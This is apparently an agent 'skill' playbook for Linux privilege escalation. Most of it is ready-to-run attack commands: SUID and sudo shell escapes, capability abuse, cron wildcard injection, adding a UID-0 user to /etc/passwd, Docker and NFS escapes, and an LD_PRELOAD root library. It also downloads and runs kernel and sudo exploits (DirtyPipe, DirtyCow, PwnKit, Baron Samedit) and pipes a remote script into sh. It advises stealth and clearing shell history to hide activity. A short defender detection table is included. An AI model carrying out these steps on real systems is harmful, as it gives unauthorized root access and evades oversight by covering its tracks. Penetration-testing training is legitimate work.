Linux Privilege Escalation
You have a low-privilege shell on a Linux target. Your objective is to escalate to root through systematic enumeration and exploitation of misconfigurations, vulnerable software, and kernel flaws. This skill provides a structured methodology that moves from passive reconnaissance through increasingly aggressive techniques, prioritizing reliability and stealth.
Every engagement starts with situational awareness. Know what you have, what the system exposes, and what defenders can see. Chain low-severity findings into high-impact escalation paths.
Quick Workflow
- Run automated enumeration (LinPEAS, linux-exploit-suggester) to surface quick wins.
- Check sudo permissions, SUID/SGID binaries, and capabilities first -- these are the highest-probability vectors.
- Enumerate cron jobs, writable scripts, and PATH ordering for hijack opportunities.
- Inspect file permissions on /etc/passwd, /etc/shadow, service configs, and SSH keys.
- Check for NFS shares with no_root_squash and Docker group membership.
- Fingerprint the kernel version and search for applicable kernel exploits as a last resort.
- Validate the escalation path, document the chain, and clean up artifacts.
Automated Enumeration
Before manual inspection, run automated tools to surface the broadest set of findings. Pipe output to a file for offline review and cross-referencing.
# LinPEAS -- transfer and execute
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh | tee /dev/shm/linpeas.out
# Minimal execution to reduce noise on monitored systems
./linpeas.sh -s -q 2>/dev/null | tee /dev/shm/linpeas_quiet.out
# Kernel exploit suggestion
./linux-exploit-suggester.sh --uname "$(uname -r)"
# pspy -- monitor processes without root (watches procfs)
./pspy64 -pf -i 1000 | tee /dev/shm/pspy.out
Review LinPEAS output section by section. Focus on red and yellow highlights. Cross-reference SUID findings with GTFOBins immediately.
SUID/SGID Binary Abuse
SUID binaries execute with the file owner's privileges. When owned by root, they are direct escalation vectors if they permit arbitrary command execution, file reads, or file writes.
Enumeration
# Find all SUID/SGID binaries
find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null
find / -perm -u=s -type f -exec ls -la {} \; 2>/dev/null
Exploitation via GTFOBins
# If find is SUID
find . -exec /bin/sh -p \;
# If vim is SUID
vim -c ':!/bin/sh'
# If python3 is SUID
python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'
# If cp is SUID -- overwrite /etc/passwd
cp /etc/passwd /dev/shm/passwd.bak
echo 'hacker:$(openssl passwd -1 password):0:0::/root:/bin/bash' >> /dev/shm/passwd_modified
cp /dev/shm/passwd_modified /etc/passwd
# If bash is SUID
bash -p
# If nmap (old interactive mode) is SUID
nmap --interactive
!sh
Custom SUID Binary Analysis
# Check what libraries a SUID binary loads
ldd /usr/local/bin/custom_suid
strace /usr/local/bin/custom_suid 2>&1 | grep -i open
# Check for relative path calls in the binary
strings /usr/local/bin/custom_suid | grep -E '^[a-z]'
ltrace /usr/local/bin/custom_suid 2>&1
If a SUID binary calls another program without an absolute path, you can hijack it by prepending a malicious directory to PATH.
Linux Capabilities Exploitation
Capabilities split root privileges into discrete units. A binary with cap_setuid can change its UID to 0 without being SUID.
# Find binaries with capabilities set
getcap -r / 2>/dev/null
Exploitation
# cap_setuid on python3
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# cap_setuid on perl
perl -e 'use POSIX qw(setuid); setuid(0); exec "/bin/bash";'
# cap_dac_override on vim (read/write any file)
vim /etc/shadow
# cap_dac_read_search on tar (read any file)
tar czf /dev/shm/shadow.tar.gz /etc/shadow
tar xzf /dev/shm/shadow.tar.gz -C /dev/shm/
Capabilities are frequently overlooked by administrators. They appear in LinPEAS output but deserve dedicated enumeration.
Sudo Misconfigurations
Sudo rules are the most common privilege escalation vector in real engagements. Check sudo -l immediately upon gaining a shell.
# List sudo permissions for current user
sudo -l
sudo --version
cat /etc/sudoers 2>/dev/null
NOPASSWD Exploitation
# If sudo allows vi/vim NOPASSWD
sudo vim -c '!bash'
# If sudo allows less NOPASSWD
sudo less /etc/shadow
!/bin/bash
# If sudo allows awk NOPASSWD
sudo awk 'BEGIN {system("/bin/bash")}'
# If sudo allows find NOPASSWD
sudo find /tmp -exec /bin/bash \;
# If sudo allows env NOPASSWD (LD_PRELOAD)
# See LD_PRELOAD section below
# If sudo allows a script you can write to
echo '/bin/bash' > /path/to/writable_script.sh
sudo /path/to/writable_script.sh
# If sudo allows running as another user
sudo -u targetuser /bin/bash
Baron Samedit -- CVE-2021-3156
# Check if vulnerable (sudo 1.8.2 through 1.8.31p2, 1.9.0 through 1.9.5p1)
sudoedit -s '\' $(python3 -c 'print("A"*1000)')
# If it crashes/segfaults, it is likely vulnerable
# Exploit (multiple public PoCs available)
git clone https://github.com/blasty/CVE-2021-3156.git
cd CVE-2021-3156
make
./sudo-hax-me-a-sandwich <target_number>
# Check target OS for correct offset
cat /etc/os-release
This heap-based buffer overflow in sudoedit affects a wide range of Linux distributions. It provides direct root access without needing any sudo permissions.
Cron Job Abuse
Cron jobs run on schedules with the privileges of the cron owner. Writable scripts, PATH misconfigurations, and wildcard expansion create escalation paths.
Enumeration
# System crontabs
cat /etc/crontab
ls -la /etc/cron.d/
ls -la /etc/cron.daily/ /etc/cron.hourly/ /etc/cron.weekly/ /etc/cron.monthly/
# User crontabs
crontab -l
ls -la /var/spool/cron/crontabs/ 2>/dev/null
# Use pspy to discover hidden cron jobs
./pspy64 -pf -i 1000
# Check for writable scripts called by cron
for f in $(grep -r '/' /etc/crontab /etc/cron.d/ 2>/dev/null | grep -oP '/\S+'); do
ls -la "$f" 2>/dev/null
done
Writable Cron Script
# If a root cron job calls a writable script
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /path/to/writable_cron_script.sh
# Wait for cron execution, then
/tmp/rootbash -p
PATH Hijacking in Cron
# If crontab has PATH=/home/user/bin:/usr/local/sbin:...
# And a cron job calls "backup.sh" without full path
echo '#!/bin/bash' > /home/user/bin/backup.sh
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /home/user/bin/backup.sh
chmod +x /home/user/bin/backup.sh
Wildcard Injection
# If a root cron job runs: tar czf /backup/archive.tar.gz *
# In the target directory, create files that become tar flags
cd /target/directory
echo '' > '--checkpoint=1'
echo '' > '--checkpoint-action=exec=sh privesc.sh'
echo '#!/bin/bash' > privesc.sh
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> privesc.sh
chmod +x privesc.sh
# Similar attack with rsync wildcard
echo '' > '-e sh privesc.sh'
# Similar attack with chown (e.g., chown user:user *)
echo '' > '--reference=/path/to/attacker_owned_file'
Writable /etc/passwd
If /etc/passwd is world-writable (a severe misconfiguration), you can add a root-equivalent user directly.
# Check permissions
ls -la /etc/passwd
# Generate password hash
openssl passwd -1 -salt hacker password123
# Output: $1$hacker$6luIRwdGpBvXdP.GMwcZp/
# Append a new root user
echo 'hacker:$1$hacker$6luIRwdGpBvXdP.GMwcZp/:0:0::/root:/bin/bash' >> /etc/passwd
# Or replace root's password hash (more detectable)
# Switch to the new user
su hacker
# Password: password123
# Alternative: use mkpasswd if available
mkpasswd -m sha-512 password123
NFS no_root_squash Exploitation
When an NFS export is configured with no_root_squash, the remote root user retains root privileges on the share. This allows creating SUID binaries from an attacker-controlled machine.
# On the target -- enumerate NFS shares
cat /etc/exports
showmount -e localhost
# Look for no_root_squash
grep -i "no_root_squash" /etc/exports
# On your attack machine (as root)
mkdir /tmp/nfs_mount
mount -t nfs target_ip:/shared_directory /tmp/nfs_mount
# Create a SUID shell
cp /bin/bash /tmp/nfs_mount/rootbash
chmod +s /tmp/nfs_mount/rootbash
# On the target
/shared_directory/rootbash -p
Kernel Exploits
Kernel exploits are high-impact but carry stability risks. Use them when cleaner vectors are unavailable. Always check the kernel version and distribution first.
Fingerprinting
uname -a
uname -r
cat /etc/os-release
cat /proc/version
DirtyPipe -- CVE-2022-0847
# Affects Linux kernel 5.8 through 5.16.10, 5.15.25, 5.10.102
# Overwrites read-only files by splicing into page cache
# Compile the exploit
gcc -o dirtypipe exploit.c
./dirtypipe /etc/passwd 1 "${replacement_line}"
# Or use the SUID variant
gcc -o dirtypipez dirtypipez.c
./dirtypipez
# Spawns a root shell by overwriting a SUID binary temporarily
DirtyCow -- CVE-2016-5195
# Affects Linux kernel 2.x through 4.x before 4.8.3
# Race condition in copy-on-write mechanism
# The /etc/passwd overwrite variant
gcc -pthread dirty.c -o dirty -lcrypt
./dirty password123
# Overwrites root entry in /etc/passwd
# The SUID binary variant (firefart)
gcc -pthread cowroot.c -o cowroot
./cowroot
PwnKit -- CVE-2021-4034
# Affects polkit pkexec (virtually all Linux distros with polkit installed)
# Memory corruption via crafted environment variables
# Compile and run
gcc -shared -fPIC -o pwnkit.so pwnkit.c
gcc -o pwnkit exploit.c
./pwnkit
# One-liner PoC (if available)
curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit
chmod +x PwnKit
./PwnKit
Kernel exploits may crash the system. On production targets, confirm the exact kernel version, test in a lab environment first, and have a rollback plan. Prefer the DirtyPipe SUID variant or PwnKit for stability.
Docker Group Escape
Membership in the docker group grants effective root access. Docker allows mounting the host filesystem into a container.
# Confirm group membership
id
groups
# Mount the host root filesystem
docker run -v /:/hostfs -it ubuntu /bin/bash
# Inside the container, access host filesystem
cat /hostfs/etc/shadow
chroot /hostfs /bin/bash
# Create a SUID bash on the host
cp /hostfs/bin/bash /hostfs/tmp/rootbash
chmod +s /hostfs/tmp/rootbash
# Alternative: use docker socket directly
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
LXD/LXC group membership provides a similar attack surface. Build a privileged container and mount the host filesystem.
LD_PRELOAD and LD_LIBRARY_PATH Hijacking
When sudo preserves env_keep += LD_PRELOAD or env_keep += LD_LIBRARY_PATH, you can inject a shared library that executes arbitrary code as root.
LD_PRELOAD
// preload.c -- compile and load via sudo
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setresuid(0, 0, 0);
system("/bin/bash -p");
}
# Compile
gcc -fPIC -shared -nostartfiles -o /tmp/preload.so preload.c
# Execute with sudo (requires env_keep += LD_PRELOAD in sudoers)
sudo LD_PRELOAD=/tmp/preload.so /usr/bin/any_allowed_command
LD_LIBRARY_PATH
# Find shared libraries used by a sudo-allowed binary
ldd /usr/sbin/apache2
# Create a malicious replacement
# Target a library like libcrypt.so.1
gcc -fPIC -shared -o /tmp/libcrypt.so.1 preload.c
# Execute with sudo
sudo LD_LIBRARY_PATH=/tmp /usr/sbin/apache2
You can also hijack shared libraries loaded by SUID binaries. Use strace to find missing library loads from writable directories, then place your malicious .so there.
Service Misconfigurations
Writable service files or binaries referenced by services running as root create escalation opportunities.
# Find writable service files
find /etc/systemd/system/ /lib/systemd/system/ /etc/init.d/ -writable -type f 2>/dev/null
# Overwrite a writable service binary
cp /path/to/service_binary /path/to/service_binary.bak
echo -e '#!/bin/bash\ncp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash\n/path/to/service_binary.bak "$@"' > /path/to/service_binary
chmod +x /path/to/service_binary
# Create a malicious systemd service (if you can write to the service directory)
cat << 'EOF' > /etc/systemd/system/escalate.service
[Unit]
Description=Escalation
[Service]
Type=oneshot
ExecStart=/bin/bash -c 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash'
[Install]
WantedBy=multi-user.target
EOF
systemctl daemon-reload && systemctl start escalate.service
Sensitive File Enumeration
Credential harvesting from files can provide lateral movement or direct escalation paths.
# SSH keys
find / -name "id_rsa" -o -name "id_ed25519" -o -name "*.pem" 2>/dev/null
find / -name "authorized_keys" 2>/dev/null
# History files
cat ~/.bash_history
find / -name ".*history" -exec cat {} \; 2>/dev/null
# Configuration files with credentials
grep -rl "pass\|pwd\|token\|secret\|key" /etc/ /opt/ /var/www/ /home/ 2>/dev/null
cat /var/www/*/wp-config.php /var/www/*/.env 2>/dev/null
# Backup files and shadow
find / -name "*.bak" -o -name "*.old" -o -name "*.backup" 2>/dev/null
cat /etc/shadow 2>/dev/null
ls -la /etc/shadow
Detection / Defender View
Every technique above leaves traces. Understanding detection surfaces helps you operate more carefully and helps blue teams build monitoring.
| Technique | Detection Indicator |
|---|
| LinPEAS/enumeration | Process execution of curl piped to sh, large bursts of file access in /proc, /etc, /sys |
| SUID abuse | Execution of SUID binaries from unusual parent processes, shell spawning from SUID context |
| Capabilities abuse | Unexpected setuid(0) calls from non-SUID processes, audit logs for CAP_SETUID usage |
| Sudo exploitation | Auth logs showing sudo usage for unusual commands, sudoers file modification timestamps |
| CVE-2021-3156 | sudoedit crash logs, coredumps, heap corruption signatures in audit logs |
| Cron hijacking | Modified cron scripts (integrity monitoring), new files with tar flag names |
| /etc/passwd writes | File integrity monitoring alerts, new UID 0 entries, inotify watches |
| NFS SUID creation | New SUID files appearing on NFS mounts, NFS audit logs on the server |
| Kernel exploits | Kernel oops/panic messages, unexpected root process spawning, crash dumps |
| Docker escape | Docker API calls, container creation with host mounts, docker.sock access |
| LD_PRELOAD | Environment variable logging, unexpected shared library loads in audit logs |
Key log locations:
# Defenders should monitor
/var/log/auth.log # sudo usage, su attempts, authentication events
/var/log/syslog # system events, cron execution
/var/log/kern.log # kernel exploits, crashes
/var/log/audit/audit.log # auditd events (execve, capability use, file access)
journalctl -u <service> # per-service systemd logs
Engagement Cheatsheet
PHASE 1 -- ENUMERATE
sudo -l # First command. Always.
id && groups # Docker/lxd group?
find / -perm -4000 -type f 2>/dev/null # SUID binaries
getcap -r / 2>/dev/null # Capabilities
cat /etc/crontab && ls -la /etc/cron.* # Cron jobs
ls -la /etc/passwd /etc/shadow # File permissions
cat /etc/exports 2>/dev/null # NFS shares
uname -a && cat /etc/os-release # Kernel version
PHASE 2 -- QUICK WINS
GTFOBins lookup for SUID/sudo binaries # https://gtfobins.github.io
sudo vim -c '!bash' # Sudo escape
python3 -c 'import os;os.setuid(0);os.system("/bin/bash")' # cap_setuid
bash -p # SUID bash
PHASE 3 -- ESCALATION
Writable cron script injection
PATH hijack in cron or SUID binary
LD_PRELOAD via sudo env_keep
Docker mount host filesystem
/etc/passwd append (if writable)
PHASE 4 -- KERNEL (last resort)
linux-exploit-suggester.sh
DirtyPipe -> kernel 5.8-5.16
PwnKit -> polkit pkexec (most distros)
DirtyCow -> kernel 2.x-4.x
Baron Samedit -> sudo 1.8.2-1.9.5p1
CLEANUP
Remove SUID shells from /tmp
Restore modified files from backups
Clear command history: history -c && unset HISTFILE
Remove uploaded tools from /dev/shm, /tmp
Key References